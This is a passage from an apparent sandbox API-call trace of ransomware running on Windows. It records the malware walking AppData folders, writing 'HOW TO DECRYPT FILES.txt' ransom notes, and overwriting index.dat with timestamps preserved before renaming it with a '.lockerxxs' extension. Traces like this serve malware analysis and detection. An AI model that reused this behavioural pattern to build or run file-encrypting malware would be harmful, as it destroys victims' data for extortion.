dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.303] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.303] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.303] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a30ea6, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a30ea6, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0144.303] lstrcmpA (lpString1=".", lpString2="Microsoft") returned -1 [0144.303] lstrcmpA (lpString1="..", lpString2="Microsoft") returned -1 [0144.303] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\*.*") returned="*.*" [0144.303] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\", lpString2="Microsoft" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft" [0144.303] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a30ea6, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a30ea6, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0144.303] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.303] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a30ea6, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a30ea6, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.303] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.303] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.304] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2829382e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2829382e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0144.304] lstrcmpA (lpString1=".", lpString2="Windows") returned -1 [0144.304] lstrcmpA (lpString1="..", lpString2="Windows") returned -1 [0144.304] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\*.*") returned="*.*" [0144.304] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\", lpString2="Windows" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows" [0144.304] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2829382e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2829382e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0144.304] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.304] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2829382e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2829382e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.304] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.304] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.304] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2829382e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2829382e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2829382e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Caches", cAlternateFileName="")) returned 1 [0144.305] lstrcmpA (lpString1=".", lpString2="Caches") returned -1 [0144.305] lstrcmpA (lpString1="..", lpString2="Caches") returned -1 [0144.305] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\*.*") returned="*.*" [0144.305] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\", lpString2="Caches" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Caches") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Caches" [0144.305] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Caches\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2829382e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2829382e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2829382e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502718 [0144.306] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.306] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2829382e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2829382e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2829382e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.306] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.306] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.306] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2829382e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2829382e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2829382e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0144.306] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0144.306] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a57006, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a57006, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610043, dwReserved1=0x680063, cFileName="History", cAlternateFileName="")) returned 1 [0144.306] lstrcmpA (lpString1=".", lpString2="History") returned -1 [0144.306] lstrcmpA (lpString1="..", lpString2="History") returned -1 [0144.306] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\*.*") returned="*.*" [0144.306] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\", lpString2="History" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History" [0144.307] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a57006, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a57006, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0144.307] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.307] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a57006, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a57006, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.307] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.307] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.307] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a57006, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a57006, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.307] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0144.307] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\*.*") returned="*.*" [0144.307] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\" [0144.307] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\" | out: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\") returned="" [0144.308] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\HOW TO DECRYPT FILES.txt" [0144.308] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\history\\how to decrypt files.txt")) returned 0xffffffff [0144.308] CreateFileA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\history\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0 [0144.310] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0144.310] CloseHandle (hObject=0xa0) returned 1 [0144.310] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\", lpString2="desktop.ini" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini" [0144.310] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini", pszSpec="*.ems") returned 0 [0144.311] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24aa32c7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24aa32c7, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1 [0144.311] lstrcmpA (lpString1=".", lpString2="History.IE5") returned -1 [0144.311] lstrcmpA (lpString1="..", lpString2="History.IE5") returned -1 [0144.311] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini") returned="desktop.ini" [0144.311] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\", lpString2="History.IE5" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" [0144.311] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24aa32c7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24aa32c7, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5015ba, cFileName=".", cAlternateFileName="")) returned 0x502758 [0144.311] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.311] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24aa32c7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24aa32c7, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0144.312] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.312] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.312] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a57006, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a57006, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.312] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0144.312] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*.*") returned="*.*" [0144.312] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\" [0144.312] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\" | out: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\") returned="" [0144.312] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\HOW TO DECRYPT FILES.txt" [0144.312] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\how to decrypt files.txt")) returned 0xffffffff [0144.312] CreateFileA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0144.315] SetFileTime (hFile=0xa4, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0144.315] CloseHandle (hObject=0xa4) returned 1 [0144.316] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\", lpString2="desktop.ini" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\desktop.ini") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\desktop.ini" [0144.316] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\desktop.ini", pszSpec="*.ems") returned 0 [0144.316] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24aa32c7, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24aa32c7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3fa3a360, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0144.316] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0144.316] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\desktop.ini") returned="desktop.ini" [0144.316] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\" [0144.316] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\" | out: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\") returned="" [0144.316] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\HOW TO DECRYPT FILES.txt" [0144.316] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\how to decrypt files.txt")) returned 0x2020 [0144.317] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\", lpString2="index.dat" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" [0144.317] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat", pszSpec="*.ems") returned 0 [0144.317] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" [0144.317] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" [0144.317] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat", lpString2="." | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat.") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat." [0144.317] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat.lockerxxs") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat.lockerxxs" [0144.317] CreateFileA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0144.319] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4000 [0144.319] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x24aa32c7, dwHighDateTime=0x1ca043f), lpLastAccessTime=0x407536*(dwLowDateTime=0x24aa32c7, dwHighDateTime=0x1ca043f), lpLastWriteTime=0x40753e*(dwLowDateTime=0x3fa3a360, dwHighDateTime=0x1ca043f)) returned 1 [0144.320] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0144.320] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x3fda, lpOverlapped=0x0) returned 1 [0144.322] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat") returned="index.dat" [0144.323] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0144.323] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x3fda, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x3fda, lpOverlapped=0x0) returned 1 [0144.323] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0144.323] CloseHandle (hObject=0xa4) returned 1 [0144.323] MoveFileA (lpExistingFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat"), 